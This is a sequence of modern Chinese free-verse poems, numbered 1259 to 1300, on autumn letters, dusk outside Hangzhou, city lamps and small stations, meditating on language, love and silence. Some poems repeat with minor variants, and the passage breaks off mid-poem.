我依靠这些冥冥之中的事物， 祈求的目光像远处的山峦一样 寻找着天空中隐藏的白雪。 一个人站在与xZ同为一体的大地 我走过去了，才发现是我， 返身于思的垂思，有着垂下的形象。 山坡的景色1259 《山坡的景色》 真实不断丧生，历难。 真实已经听到了，听够的那 对于它的宣判，声音里面的虚假 因为真实与未来的突然衔接， 那被跳过者的宣判者的尴尬 使得一切开始发生了，陷入 同样也没有结束之说的结束的 言说和言说的它那开始，开端之中。 矛盾的全部我们一开始就以生命 的方式获得了。我们的生命的脆弱 每每总是如此，来自于那开端之最 又有什么，怎么可以放入其中呢。 那么，疑问的回声就是爱的迟疑的 爱的方式回荡着这来自于未来的声音。 \/ 这已经是了两个躯壳， 如果我们对于内部充满了畏惧和不安。 两个，仅仅彼此的关系，推理就可以 在人类脑海的断裂里面，得出 世界这个一并将丰富性蕴含的概念。 \/ 只能为爱献身，在世界的尽头。她说。 在远处就是道路上充满了坎坷，而通过了 一路而坎坷的具体。于是，语言言说的 是语言对于此的表述，如果仅仅是表述 而停留于语言，那么虚假的爱之宣言的 回声已经传递到了这里。在这里久久回荡 接着去到了别处。仅仅有语言是不够的， 仅仅息息相关的言语，也不能够 将一个人儿来关怀和拯救。言与行 同为一体的维系着那隐隐快要断裂 而诗歌一般并不足够的现实而落脚于 诗歌般诗歌本身的吟唱不成么？ 你使得我意识到了，那是为民族，与国度 而爱，巨大文字在自我如同夜晚焰火 一般爆炸的身体内部来自我描述，却 又是改变为了，通过一个被忽略不答的 问题而描述自我。热爱困难，就是闲的蛋疼 热爱一个凭空杜撰而称之为虚假， 而问题于是于虚假为真上的问题 \/ 这已经无所拯救， 这已经是碎语，废话 :他就是我，我因此在跌倒之后 再一次因为他的这真相而再跌倒了一次。 像匍匐的人，在跌倒之前，我回想起来。 秋叶林1260 《秋叶林》 我亲破了的与你的陌生， 这就是我对于你， 以及对于沉默的态度了 以语言来说出。将爱 在这个时刻里面才悄悄的 掩埋起来。空气的松软沙土， 空气的无边飒飒落叶，轻轻的 秋风轻轻的。你的脸庞，冷峻， 比我想象的还要美，写了那么 多封的信，只是为了向你告知 我的担忧呵。我自己也是你的 秋天里面的一封回信，你的这一 封曾经前方秋叶林中的信哦 一封信，它在叫做了你和我之间 来回的流转，书写，添加 只是为了让你我成为一体的，姑娘。 原谅1261 《原谅》 原谅的里面， 修饰了它的是不可原谅。 原谅需要一个房间的我， 从那里面，以醒来的方式 睡去，在梦里面围着它打转吧。 早晨与傍晚1262 《早晨与夜晚》 终其一生的迷蒙而迷蒙的状态， 迷蒙着的是那与知有着的相近。 近似中，因为面容与模样，在差异的 显而易见之中，我们并不需要摈弃了 语言。那些模样再一次从差异中 漂浮而起，这充满了空气的空间。 一时难以捉摸，却又因此在于了 可理解，和可被心灵同情。同情的 心灵因此以这样一种方式存在着， 而存在的方式早已经，因为对于它的 刚刚言说，具体的模样摆在难以理解 的事实面前了。直冲着的人，被一直 冲着的人儿，从早晨起床，仿佛晨光 来自于拉开了窗帘之后的，一个由 昨夜梦的未尽所组成了的第一道刺目 光线。从陷入了循环和轮回之中， 尝试摆脱。尝试——这是对于唯一 道路，而今却是对于道路因为改变而 对不可改变改变中的唯一性的，标志。 像眼睑之于眼睛。眼睛之于黑夜。 像永远蒙着面纱的真相，终于开始呼吸。 实际上并没有走出循环的人儿， 发现了思索为虑，这思索微不足道的 来源和源泉。最好是在一个晴朗而把 对于晴朗的祈愿照亮的早晨，那样便 意味着了人类的全部都没有被遮掩， 意味着我的思索像年迈一般的步履蹒跚 意味着对于循环和轮回的俯首陈臣， 比投降更甚一些。即使任何的事物都 以反光透镜的方式，通过了自我另外 而慢慢是作了他的方式而将世界， 无限的呈现。通过了光而单一的不可 返回的光，返回之路途上因此变得迟滞 而困难的光的道路。道路上面的光又 遇见了一个叫做了我的人儿的，好心 办坏事之人的阻拦。我的命运毫无办法 于这处处是对于光的阻拦来呈现， 我就是那一道透明的光芒。在得出了 这透明的时候，我睡去，在早晨，床铺 依然盖着写满了遗忘之宽恕的诗歌 零件一般的组成部分。 傍晚的大街1263 《傍晚的大街》 我说出来有着词的使用的外貌， 如果我给予了自己一件，大衣 是在橱窗和透过玻璃而长久对于 大街的了望。这些对于一个称之为 “我”的人类的拯救，如此漫长，曲折 因为曲折而又回到了，使得我的认识， 曾经长久的离开了而挤在了，与它 一样人群，可有可无的行走之中。 只有通过了傍晚时分，与夕阳形成美丽 夹角的回忆和思，我才能以杜撰于孤独 消弭的方式让回忆返回去。它不会迷失， 此刻的傍晚，因此语言一点更少于一点。 不远处是院子，通过光线而将属于我的 讯息带来。而我接着大方的将它们， 以散开渔网一般的方式给予每一个。 院子里面的柿子树，因此怎么可能呢， 满足于空枝上挂满了谓之空的果实， 更为具体的挂满，枝头上面发生了。 它成熟的很快，因为我的语言正准备 从嘴唇里面说出，而滑下喉咙的深渊 在傍晚之于夜晚的黑色那里发生了 那不是重复，而是我的喉咙。那是一个 难以被我，单个的人的对于世界拥有 的，简单里面依然还是具有的困难的地方 我怀有善意的心灵。秋天，傍晚，自然 不断的扭转着它纤细的身体。 杭州城外1264 《杭州城外》 谁能在我的语气上存在， 谁呢，愿意从自己的身体上 以相似性这一，因为言语而 在日常生活中发生了的方式来， 将它们一一剥离。对着那与此 不同的事物，对着那与此的不同 而将它们拨下。小刀一闪， 接着熄灭，重新回到了桌子上面的 那一个。是以它之名而不再的相同。 是同一个，我由此可以对它怀疑， 由此我从不可解决而来， 我却早早的就早在了知道了这一切 之丰满的傍晚。而我无力于解决 之上而无力因此已经不是了的 是它在以我而回想自己傍晚的旧模样呢。 所以，我还是我，我的遗忘，小刀 剥下。。。都可以在而以不在的那 曾经之所以的在，以遗忘的，占据 花费掉语言的方式。那也是我的， 我却是因为需要道白时用到了语言的 而不得不是沉默的。所以，如果， 如果你走过来了，挺不容易，你说矛盾 你就会过一会做梦，在一张温暖的床上面 睡去。 院子1265 《院子》 一个标准是否可以再次的改变。 出于修改的目的，使得它更好。 而理由来自于过去经验，更好的 冲着过去的它吗？它以这样一种 方式穿戴如人类一般在闲暇、虚度 和消耗于的是它们。而使得了它们 是说出之必要。这反问的外衣，样貌 而以人类之镜的身份。这反问的外衣 代表了对自我一个不自知的而只有 可自知于此是作为人类的理由的我们。 我在人类的身体上面寻找一种怜悯， 我没有在标准之于共识，或者不变来 寻找。寻找的丧失的刺激感会升腾起来了 在庭院里面溶解于空气之舞蹈的烟雾。 那时，事物分割时间。我在人类身上没有 找到怜悯之后，不一会就会走到人们之中。 河西走廊1266 《河西走廊》 回头，八九十年代的回头在沙漠于水。 透过透明的水，他一下子，闯入之后， 现代的又类似的一下，是余韵的某一种。 弄乱了，是否是事实。弄乱了这事实 如果确确实实的存在着我理解的困难， 而我悲哀的发现而无法去否认和逃避， 当我从某一个地方，相比于读者的倾听而言 它是更高的。它是对于我的固定不变而言 一道造成了我迷离和误解，偏见的阴影。 尽管它更大，它不仅仅更高。它的更大 也并不是从更高开始，没有，不存在一个 从我开始，或者途径了我的曲折。没有 太阳照射而来的光芒的线，是不同的线段。 在我对于此快要支撑不住而遗忘的时刻， 作为一个求助于你而你也需要，是否你也 需要一个读者就像那沙漠与戈壁一般中， 水一般的惯性倾倒了你呢。而你全然于 诗歌，所以你才如此的马虎，如此的激愤 如此的在跌倒后的激愤的从来没有出现之中 为时代的诗之乐章的结束做了一个图示。 无意，我也是，你也是————这是对于你 也是的重复，这是每一个这三字词组中的 每一个被以审视了的完成了。我想，我都 还没有翻开它，我想我悄悄变作了某个人 中的那较为懒惰者。我想你也再一次变得 热心起来了，你在自己也变得如同戈壁和 荒原的心灵废墟上面，让更加的火热以时间 流逝的铁律般的，不可触摸的本质而热烈。 那些书，诗集的表面，乐章一一充满了它。 读，夜色垂暮，来来回回上的人类传记的 第一次的这诗歌的形式，或者我应该呼喊你 沙漠于水，带着水的人读者般的浮现出来了。 独坐幽篁里1267 《夜晚的火焰》 火焰从有可能所向，在极有可能这 人类的罗网里面，人类以燃烧语言 的方式。人们说我不会感觉到疼痛。 一个位置上的一团火，久了就像意义。 久了就朦胧像总是会在草地上面 一个诗人爱饮酒，内心不悦，空坛子 装满了而后回馈于坛子般欲望和空虚 的秋凉般的矛盾，和神秘兮兮。这 在夜晚比在白天更明显一些，有可能 使得我因此归咎才可以于光的稀疏面前。 我只能注视，因为我失去了行动的能力。 我是语言的一支俘虏，歌唱着难以听懂的 挽歌。我的脸庞红彤彤的，我感觉我就 快要因为投身于燃烧不可熄灭的命运而 参透了一根又一根，枯树枝的本质。 为席地而坐而与栖身不可分离者的 已经因为自己而变作了的那另外的 同一个。带着他侥幸，懦弱所变作的 不甘心。在没有其他可能的时候他却 有略微丰满的时刻。那是此刻，此刻 通过不停的吟诵而得以在现在的某一个 此刻，使得这作为了一个让未来有可能 成为了现实者，独坐幽篁里，没有火焰的 历史慢慢的变做了全部都是火焰的 民族与人类史的深秋。 河西走廊二1268 《河西走廊二》 我想挪动的，是一个因为h暗而在 h暗中的事物。一个因为事物而所做 对自身增添的，事物，当它在自身之外。 我以现在，相比未来那时刻而言的看似 丰满的感觉的减少来作为代价。语言上 发生。所以它不移不动不增不减。它是不。 它是仅仅如此就可以去理解了，但还是 有面前的路途在对于人和目光的延伸开来。 我寻找的它，因为相比于人类的这么多人而言 我不知道了我是谁。我问，问出了众人在我 身体上面的回声。我描画，却越来越是单纯 如同黑色的词语:反而。所以，我知道了， 夜晚的道路总是比白天多出很多， 单纯的一条道路，在自己夜晚的如同一颗树 的枝条纷纷伸出一般那里。而它们的功用 我知道，是言语在夜晚更加的危险，我因为 说出而迷失，如果我已经迷失了，沉默就是 没有了，失去了语言之后的再无法改变的 现实。这是否污染，影响了我周围我看到的。 密林里面最后的一个苦果，挂在树林深处 某一个枝头。它藏的样子再深一些。或者 真实的情景也极为平常的因为藏之荒谬而 一次次的降临，发生。催生了的这在结果 与催促之间矛盾的果实，由名字覆盖，来自于 言说的时候，我遇到的困难和阻力也都是 来自于我自己的。森林的外面住着一个伐木工人。 傍晚的老虎1269 《傍晚的老虎》 傍晚像一只老h，傍晚因此 在接着里面的短暂语气中 存在，同呼吸于人们的老h， 通过了他人的语言，让我相信 耳边我听到的求饶声并不意味着 事实，并不是双膝跪地，在文字 的森林里面为我们一瘸一拐的寻找着 发现着。而它自己也是。因为它 在被说出来而作为内容的时候， 会稍微的停顿了一下。而它的停顿 也造成了内容的停顿，造成了文字 世界里面，一个对于新世界完成于 破碎的启示。就像傍晚，整个的天空 就像要坠落。人类的恐惧冲出了道德的 围栏，撕下了文明面具的人类了， 看着地上粗糙的景观树树枝冲动着。 于是，在事情过去之后的余波里面， 老h注定要受难。老h甚至因看出了， 文学家的本质只是将受难与傍晚相直接的 结合而更加的受难。对着更加的受难是什么 而发现说话的端倪，发现说话的端倪不过是 在文字和语言里面的再一次惊异而枯瘦。 老h从景观树上掉下来，摔断了几根肋骨 对于人们对于溯源的谈论充耳不闻，也感到恐惧。 傍晚的杭州城外1270 《傍晚的杭州城外》 没有歌声的时间比它 和它的有更长久一些。 同时，它因此被多么不经意 的区分或者，归纳，当这样 子的一个称呼说出，同样 在同一个面孔上面。这使得一个 人矛盾，困惑，甚至自我冲突到了 在别无他法的不知不觉，和不经意 之中来到了这种矛盾的具体那里。 我将那里称作了对于一个人类而言 的，神秘的领地。当它因为神秘的光 还没有雾气般的升起时。他，一个 忘了很多与自己息息相关的人。 我的呼唤也无法将他唤醒。我不忍心， 如果我真是称之以沉睡而在中和之中， 转移了我的疲倦。而作为一个问题 作为与人的息息相关，难以被别人发现 它，疲倦还能去到哪里去了呢，我不会 再遇见他了，至少他不会再发现了。 傍晚的杭州城外二1271 《傍晚的杭州城外二》 是否真的是这样， 如此我们次次折磨那道德。 即使我的说出没有这么去做， 而拯救者的净土也没有在一个 高处，以缓缓上升的方式。 但是我免不了要使用它， 并且在称之为同一的幻象里面 需要长久的忍耐，直到惊觉自己 同样的也是一个窃贼。被偷窃 的自己，以良心的方式在自我 上面窃喜和嘲讽。被最终度过 的良心有愧而以结束的方式之新， 以言语的新开始的方式，因为 每一次都是如此的彼与此。 那是在一种熟悉里面才有了 拿人类世界所做范例和自我比喻。 如果我在说上有，做上的永恒的 缺失越来越因为一个未来的我而 有了人类外貌的形象。甚至我怀疑， 这是祖先像掩埋了溪水流淌的青草， 滴落进了我试图将之做相反状的地方。 我什么都不说，不做。它们拥有着自我 与自我的关系。在它们沉闷的时刻， 说不准就会抵达我了。我只是听的侍者 因而通过偶然的路过而听到我的 自我性。大地令人一次次的犯下错误， 大地上做一个带着罪n感的劳作者。 心血总是不够，我就交出汗水， 做一个通过劳作而懵懂度过一生的人吧。 早市1272 《早市》 是否那些声音如歌，如歌着的别的 或者，每当接下来像一种空虚 在暂时中提出了人类般的索求。 而它所要的已经因此有所不同， 不同并不因此，或者因此才不能够 对于改变，认同或心动。为了 保持不变，恰恰是因被人称之为了 事物这个名字。它们像一道镜子， 反射过一个穿着羽绒服或打工者 普遍黄褐色外衣的身影。仅此而言， 如果没有它们，那我就无法在此刻 以想象的方式，在转向之中让世界 再一次的丰富起来。而此时的世界 与我之间所拥有的模糊不清的线索。 持续存在于为这些暂时储存在我脑海 里面的，眼前的杂乱与无序。过路人， 将它们的重要性藏在低低的轻吟之中。 我有不断将它抬高的企图，被现实的 凉意打败。城市熙熙攘攘的早市画面， 对于描画一个脆弱的心灵是没有必要的， 作为一种知晓，对于此我的知道和知道 于此的形式的那时候。 傍晚的杭州城外三1273 《傍晚的杭州城外三》 是否真的是这样， 如此我们次次折磨那道德。 即使我的说出没有这么去做， 而拯救者的净土也没有在一个 高处，以缓缓上升的方式。 但是我免不了要使用它， 并且在称之为同一的幻想里面 需要长久的忍耐，直到惊觉自己 同样的也是一个窃贼。被偷窃 的自己，以良心的方式在自我 上面窃喜和嘲讽。被最终度过 的良心有愧而以结束的方式之新， 以言语的新开始的方式，因为 每一次都是如此的彼与此。 那是在一种熟悉里面才有了 拿人类世界所做范例和自我比喻。 如果我在说上有，做上的永恒的 缺失越来越因为一个未来的我而 有了人类外貌的形象。甚至我怀疑， 这是祖先像掩埋了溪水流淌的青草， 滴落进了我试图将之做相反状的地方。 我什么都不说，不做。它们拥有着自我 与自我的关系。在它们沉闷的时刻， 说不准就会抵达我了。我只是听的侍者 因而通过偶然的路过而听到我的 自我性。大地令人一次次的犯下错误， 这样的大地，像一个带着罪n感的劳作者。 心血总是不够，我就交出汗水， 因为我啊，因为不仅仅被夺取了罪n 那是比血肉更痛的东西，正在那 称之为生命宿命般多重性的地方 一点点的发生。 夜晚的杭州城外四1274 《夜晚的杭州城外四》 夜通过星行走， 最终离开了。 最终我的语言 还是没有能够逃脱被审判的命运 我同时摸到了你，目光 转向你的方式，并不像我们 并不是亲戚，朋友，夫妻。 在就快要割裂开来里面注定 人会因为呼喊出来了有一个 倾斜坡度很大的陡坡而衰老 而爱意却因此让我犯错， 我没有饮酒，却分不清楚了。我 迷茫了，或者想你了。我已经 不知不觉之中成为了你嘴里面的 那一个我。但我比仅仅我一般的 说出更远，不过是出于回来，回到那 词语之我而我便找到了语言里面 并不情愿而寒冷的位置。 夜晚通过了星星离开了， 麦哲伦有关于地球是圆的的 书籍，在夜晚的书桌摊开， 重新的回到了几百年前的历史中。 只有我，我只是想要买一本书， 打发时间，排解忧愁，无意， 对于历史之夜的诸般，我也是无意的。 秋天的信1275 《秋天的信》 我知道有关于意义， 有的和拥有的不同。知道了的 只是它的单一将自我映照所 称作了某一方面。所以，它周身 圆满，反光在了语言里面。 它被搁置在了尘土里面， 人轻易的就不见了。 人投身于消失才能够不见的。 更为长久了一些。比如， 找不到，或辞别在于一种 最终归结为形式上以“你” 所暗示的虚无。知道了这些， 或仅仅是知道了。 那么随后的就是大地和生活上面 的不知道。所以，你。你要遵循自己 日升而作，日落而息的好习惯。 将从它们之中，沿着曲折缝隙掉落 下来的东西，聚拢，写成了一封信。 对于重复，你也已经有了足够的心理准备。 我并不觉得这有什么不好，因为 一个人爱另一个爱的深而成为了 可以被扒开的男人。而他自身的 向着于你才相反的漫长的历程。 并不需要神秘和来自于他人的劝慰语气 的修辞。即使他看到了修辞的帮助的真相， 低着头，想起来你也已经是一个中年妇女， 碰到了地上可以被看到的同样的枯叶。 如果一种爱向着晚年，或者因为迟到 而在你我的年轻里面需要不断的拒斥于停止 这就是你，故人，美丽的人儿，我在你 匆匆写于信时的时刻里面。 傍晚的杭州城外1276 《傍晚的杭州城外五》 我爱着的，和爱的这自然。 自然不能从自己的名字之中走出。 自然中这生成的隐秘位于其中， 而以存在来称呼。空空的，人来了。沉 默不发一言，不对与此相应的判断进行 反驳，并不是看出了反驳的适得其反 也并不是对于人类命运太过于关乎而 显得绝望，和痛心疾首。瞬间太过突然， 发生反而是平静太过于平静的守护者。 为此，讨论的和讨论本身的自始至终。 自始至终于人类作为一个婴儿诞生的他。 那些围绕着合格，以合格作为一个圆心。 画着圆形状道德律外貌的给予。因为这 一份是猜测。位于我们所见的事物后面。 来者便无手有脚，总有所残缺于手在脚步 上面行进般的复现。而残疾者面对着这 完整的一天所呈现的逻辑。猜测的更深， 一种尝试，是否成功与可行，我也不知道。 傍晚的杭州城外六1277 《傍晚的杭州城外六》 傍晚，不摧毁，什么是一种语气。 傍晚的我们，可以去理睬的跟不必 去理睬的同样的多。谁能在语言世界 二元论的重新划分里面，借机将事物傍晚的 丰富性拯救，还给它们。傍晚，我坐在石头上 等了很久，来者不来，英雄主义的诉说的 人的需要。诉说一个等待自己，人的平凡。 傍晚通过英雄理所应当与普通的博弈而伟岸 可那一位已杀入黑夜之中，他令柳条从枝干掉落 枫叶大片大片将大地铺就。多像有关不幸的寓言。 可以随着夜色而从任意的嘴巴里面，避开人类 而说出。深秋坐于石头上，这是一个英雄众多的 时节，我因此等不来一个，也不会再继续做那 接下来另外的一个。我能够为一种循环欢呼， 对于被赐予的饮食和睡眠的轻易，从那世俗之中 这一切的吟唱才能够成为了可能时 秋天的信二1278 《秋天的信二》 我知道不同的。我知道 我必须要像是、像极了 自己即将要讨论，因此也 准备仅仅只是在心里面就又 一次镇压了的道德和法令一般的 不去袭扰。而傍晚水一般倾泻而下 的，因此是比真实更加真实的东西。 而为了使得一个在保持不变上 称作了地面上的事物。而这因此 就已经完成了。 它为它自己空出了大量的时间， 可以用来欣赏傍晚的美好风景。 它甚至会因石在我那里面 最初的叙述而想要欣赏于我。 对于我而言，这一时难以接受。 因为美与丑陋是不同的，美 会壮怀激烈于将那与焦虑，困顿的 不同来掩埋。只此黄昏， 或者，只此一个黄昏因此是了 因为我的畅想而是了最后的一个黄昏。 看吧，那些一同投身于未来的事物 都一一在黄昏里面的事物。 有那么一个黄昏，它已经到来了 它其实停留在了云层里面， 云层，藏了它起来。这是一种迷离的 因果关系，它因为被黄昏下的我的 躺在草地上而有了短暂如同光线一般的 凌乱。 秋天信三1279 《秋天的信三》 秋天有一封信。 秋天里面， 有一个穿棉袄的人儿 正穿越信中生锈的门。 秋天，歌声来自于 耐心的等待，甚至 不知道唱给谁，也不 知道她是否知道。知， 单纯的词，在歌声里 只好不断的回旋。秋。 她最怕一封信来的突然 穿过了风，穿过了雨 穿过她早已经阅读过了的 信纸上的悲凉。 秋天的信五1280 《秋天的信五》 以恳请的形式而在于了 我的嘴唇里面。 你就随着我秋天般的言语 我去那里你就去那里了。 那就，去那重复于语言， 便是你即将重复于之处吧。 赶快让一切结束，让你 在孤独之中成为一个 为了真实与我因为你而矛盾 而为我担忧，和关心的人。 让你更进一步的成为了一个 身处险境中的人。让你 在人的位置上面长久的存在 也就是一切会以暗示般的方式 将它们重新的在于，循环之中 永恒寻找于错误上出口的方式 重演。思虑大于一个人， 傍晚是一种间接的方式， 它表面自身的态度因此 更甚于思虑。我的无所凭依 而仿佛对于你敲门一般在无所应答上面 一个真实的前方的人的孤独 一个美丽的女子永恒于在于此刻 之我的便不应当受难，我以语言 说出，以语言的全部的并非全部来 尽力说出。 秋天的信六1281 《秋天的信六》 秋之事物繁多于 单一，就仿佛是有很多事物 行走，只能在秋天的秋天里面 或者上面，而你因此 通过对于此的谈论而如此的孤独 你如此并不孤独于 丰富最为直接的悄然的形象，是 孤独于你自己的言说。 秋天，没有带走了你， 秋天正因此是了的， 那正与此相反的秋天 正把众多的事物带向你那里 带向一个通过了语言的单一 而同样事实上单一的你那里。 单一的语言，一时之间 是一时之间单一的语言的意思。 为重复，我可以哀歌 为别的，是当你，友人，能够想起的 什么。如果，为，可以是长久的， 可以以之物来表达和表示 那些被寓意着的了结束 你将给它们重新的披上了 新征程一般一个个体的并不喜悦的 时候。 秋天的信七1282 《秋天的信七》 秋天有信， 有鱼。 说的虚无的时候， 鱼儿同样活得艰难。 \/ 这些通过一条鱼 以类似水波的荡漾 所提供给了我们。 这些原本就矛盾的一切。 \/ 而使得了爱意在于其中， 在夹杂和缠绕以至于 清晰对于语言责难般 其中的我们 \/ 在于了， 在书写，和接收之间的某一个 深夜。那时候 有一条鱼， 游荡， 游荡， 它试图理清的时候。 人平白无故的清白起来了。 秋天的信八1283 《秋天的信八》 以恳请的形式而在于了 我的嘴唇里面。 你就随着我秋天般的言语 我去那里你就去那里了。 那就，去那重复于语言， 便是你即将重复于之处吧。 赶快让一切结束，让你 在孤独之中成为一个 为了真实与我因为你而矛盾 而为我担忧，和关心的人。 让你更进一步的成为了一个 身处险境中的人。就这样 我的解释的语言已经随着 你的面对着我而， 你所面对着的我，已经将 它们以类似复述的方式完成了。 仿佛不可避免，而必要性 需要穿过的东西就是它， ————就是它了。如果它 确确实实的无的存在着之时。 秋天的信就1284 《秋天的信九》 时间停留的久， 岁月同样如此， 将照猫画虎 从语言弄成了语言的本质。 就会有一种事物，厌倦 在厌倦中。它，竟然在于了 使得了我因此称之为厌倦 的此时刻。注视着自己而以眼睛 通过了眼睛才转向， 求助于可以使用双眼的人类， 但如果它不愿意，也不能 把我从中救出去，单独排列 从那些人群之于它 从那之于它却毫无相关性的排列 一时之间人群大乱 语言过小径，没有喧哗的时候 我看见，翠绿的竹子，人栽培的 是娇艳欲滴的。 我爱这错误。 秋天的信十1285 《秋天的信十》 通过一枚灯盏 杭州城，把一个夜晚 推向了它城门外面。 秋天的信十1286 《秋天的信十》 通过一枚灯盏 杭州城，把一个夜晚 推向了它城门外面。 \/ 语言的列兵保持不动， 语言的列兵要保持不动， 夜晚静悄悄的，从自身， 它那原本就有以静的模样中， 城外的灯盏一1287 《城外的灯盏一》 研究并且做那a的人儿， 我就在你a的事物周围。 我在，越来越因为你的说出 语言之爱的叙述呵， 叙述了一个陌生人一般的我。 可是，可是， 我突然觉得这成了世间之 迷题之最大，一如这是世间迷题 最为原始而以本质的称呼， 而，一个人，叫做了 你，叫做了你的你的同时离开了那里。 是你使得了一切都错误 你沿着两岸行走，像潮涨潮落 像灌溉，像信以为自己可以纠正错误的 仕者。可是，可是 为什么我要阻止你呢， 当你爱的深，爱上了一个人 变得具体，试图像有血有肉的 另外的那一个。 城外的灯盏1288 《城外的灯盏二》 比明年的春天更远的， 是以一些来称呼的， 它以此与现在的紧密联系， 知道了那不可分离而使得 你感到了的忧伤混合在了 大自然本质的欢喜与快乐之中了， 你哦，是你自己 只要愿意就可以去行吟的歌声。 有你不知道的事情， 只是你在周围的沉默之中 那歌声让你走的更远了。 如果那是的，一种归结为秋风中的 神秘，再无踪迹，你回到了现实里面。 重新开始的准备，先于 你的准备。你想要静一静也是可以的 这些只是语言的可以， 在自己的之中的它的那表示 带来了的称之以语言的时候的 与你，和与语言的同样的无关。 城外的灯盏三1289 《城外的灯盏三》 我静的像在灯盏后面， 静的像知道了一盏灯， 只是叫出了它的名字。 我知道，你谨小慎微。 止步于此，没有更多的寓意。 也绝无暗示性的一切， 你，只是想要把剩下的 一切都更好的留给我。 留给像灯火一样的虚幻。 我在拥有一盏灯的所有之中。 像最开始的话语让开始开始， 如果没有，开始和沉默， 和沉默映照着你的脸颊 像终将逝去的一切。 城外的灯1290 《城外的灯盏四》 瘦弱是一个词语，还是 多余的词语在于自身的弥补吗。 它在被我急匆匆说出的时候 是另外的，另外的往往是一种情形。 空气没有任何的寓于 仿佛来自于我们的双眼 我们习惯了，并且习惯了的说， 说出，看到的，或者坐下来试图平静。 有一种一切都可以再次澄明的企图 将自己包装，用我们身边的事物 傍晚话语说出了一次， 我们起身，走到昏黄的院门附近 惆怅，会持续一小会。 城外的灯五1291 《城外的灯五》 城外的灯，相比于 城外而言是多余的事物。 多余的事物，在语言 对此表述借此形成的时候。 是灯。多么神奇。 对于我，武断的人 因此从平静的话语里面获得了 堂吉诃德式的勇气。 劝慰我，因为，平静很容易打破。 我已经因此深入了其中， 情形是急需要一段话语。 它以不同于我的说出， 形成了的牢笼还依旧在形成着。 它想要去锁住，去拢起， 冲着高于自己的天空。 它是另一个我， 大地是另一个句子。 本质，是沉闷的回声， 人们研究的却并不是声音 途径过的一个又一个的回廊。 城外的灯六1292 《城外的灯六》 不断，连续，直到永远。 疑问所带来的， 被某种悲观的情绪阻拦。 悲观成为了一道城市的墙， 在无意之间存在。 在存在中因为语言而 容易把与人有关的矛盾引起。 于是，看似到来不可避免。 看似人来的时候已经是 在尽量的躲开，靠在一旁。 疑问带来的因为被阻挡 而成为了问题，接着成为了 问题内部的回声、强烈的 人的好奇心、和问题的神秘。 我们提出的反而能够 向问题之外短暂 一掷。提出，在难以发现 和难以被捕捉之间存在 我总是失衡于它难以发现的这一半 有所发现，但尽量免于言说。 城外的灯1293 《城外的灯七》 流动的事物，和事物的流动。 事物处在漩涡之中。推动一个 去流动的想法，现实中实现。 水波姑且存在，什么样的谈论 才可以在对自我的反应和反身于 它那原本的，和原本的之所以是呢。 像有一种回答，而恳切的语气 越来越趋向于让它是确定的。 而它因此是在舟楫上面，反问 于我的一个人，推开舷窗，嗓门很大 声音渡河而来。抵达于我之前， 显得空旷而寂寥，这是我的它的 到来的具体方式，我的回答在 这样一种它和她的更为具体之中 那空余的“的”，以及由此将我 回答的过早的混淆。 城外的灯1294 城外的灯七 《城外的灯七》 流动的事物，和事物的流动。 事物处在漩涡之中。推动一个 去流动的想法，现实中实现。 水波姑且存在，什么样的谈论 才可以在对自我的反映和反身于 它那原本的，和原本的之所以是呢。 像有一种回答，而恳切的语气 越来越趋向于让它是确定的。 而它因此是在舟楫上面，反问 于我的一个人，推开舷窗，嗓门很大 声音渡河而来。抵达于我之前， 显得空旷而寂寥，囊括了一切的它 到来的缓慢。回答在这样一种 它以及她的更为具体里面。船舱 布满了被傍晚照耀的文字。窗外 那“的”空余，由此将我的回答 过早混淆。 石头1295 《石头》 水突然靠近石头，仿佛它就是。 接下来就是真相了。水突然靠近时， 世界有着总朝向外面的真相的习惯。 仿佛那相反的它总是如此，显露了 对于语言来说，内与外同理的样子。 我将世界的本质以石头来形容时， 一块石头，自内向外。一块石头的 坚硬，为什么要好好的保护和留存 我们对世界美好的念想，变得好理解。 称作了石头，称呼的声音就是 叫石头之物在于所有事物之上。 那些我称之为勇敢的是虚假的， 在我勇敢去做的时候发现了它。 我寻找一种称之为石而结果的不同， 像一种情况，先行寓言的声音充斥于里 或者我行动，我放弃。我放弃于讴歌于此 的形式是深陷于此。对于通过一个低矮 之处的窗户来重新的看的，投以它， 我那看的新鲜。 石头二1296 《石头二》 我只说和说出， 与说的最为直接。 像对于声音的追逐 成为了词语，词语 同时包裹了真相。 推开窗户的时候， 我再次看到过世界的寂静无声。 我没有看到那些过去的重影 或许它藏在了浓密之中， 是我脑海里面的一个念头， 一丝丝期许，当没有发生 一个对象的参照也不必要。 当仅就它自己而言。 我在话语之中将它说出， 之前的一切瞬间破碎了。 城外的灯八1297 《城外的灯八》 诗搭上了风的列车，风 呼呼的刮着，发出响声。 有时候是我听不到的。 侧耳。总是这样。这里和那里， 一个静止，或者细小的运动着。 一个运动，从这里看到了 有关于它借着远处空蒙蒙 而来的误解。我自己知道 这里曾经有过一个安静的小站。 把我从遗忘里面捞起来了， 继续重复。同样的话语像一位 乘客。 小站1298 《小站》 我想杜撰一个小站 仅仅是一个小站。 在小站难以避免所涉及的繁多中， 谈到那仅仅是一个小站。 所以，想自我怀疑， 真实存在过一个因为言语而 建造了的小站。 我的不可理解， 暂时停顿的时候， 因为我要吃饭和喝茶， 透过袅袅升的茶雾， 我看到了人类整体的面孔， 正被道德所塑造， \/ 黄昏的人世间，所有的忧愁， 喜悦，反过来统称为所有的 都由它们的繁复不断，而来。 那些表面平静的事物， 一一去到了，我需要它们去的地方。 那里，有我的语言的 回声与内容，有我是一个微弱 之人，言语的内容。 我不敢想象，如果没有会怎样 我让没有，与虚无相连 共同的面对，一个孤独的“想” 却想要去面对着它们两个。 \/ 黄昏它不说话， 说它像我是一种被馈赠 的婉拒，和我的并不在意， 像一个身影， 可能因为群山的某一个倾斜度 我知道，因为我在它的身影里面 与另外的一个声音说话 我知道了水流的不再， 坐上了一列小火车离开了。 我知道有一个小站， 声音不只是想，在心内有一个连接 今夜前我还没有赶往群山 那里有一个小站， 再等待一会，等一个可能因为 我所说而去往那里的乘客， 小站二1299 《小站二》 我提起鱼， 提起了一条 在矛盾又平静的水面， 离开了水的鱼。湖面 仿佛什么都没有发生过。 湖边黑色身影的树木， 人每次具体走过的看， 像具体的想象迅疾被消灭一般。 在不同的地方去提起它时， 是说着话还没有离开。衣衫单薄 想起一个温暖的屋子，烧着柴火 烹饪美味，鲜美的鱼汤。 在我深入语言的最初， 我就想到了这些。 极其遥远，超过了之后的梦境 在梦境还要往后， 人类有关于鱼儿的道德的存在之地 语言缺失之地。白天，明天的语言 闪耀着那种缺失的语言之光。 小站三1300 《小站三》 我提起鱼， 提起了一条 在矛盾又平静的水面， 离开了水的鱼。 就是这样，顺着眼前 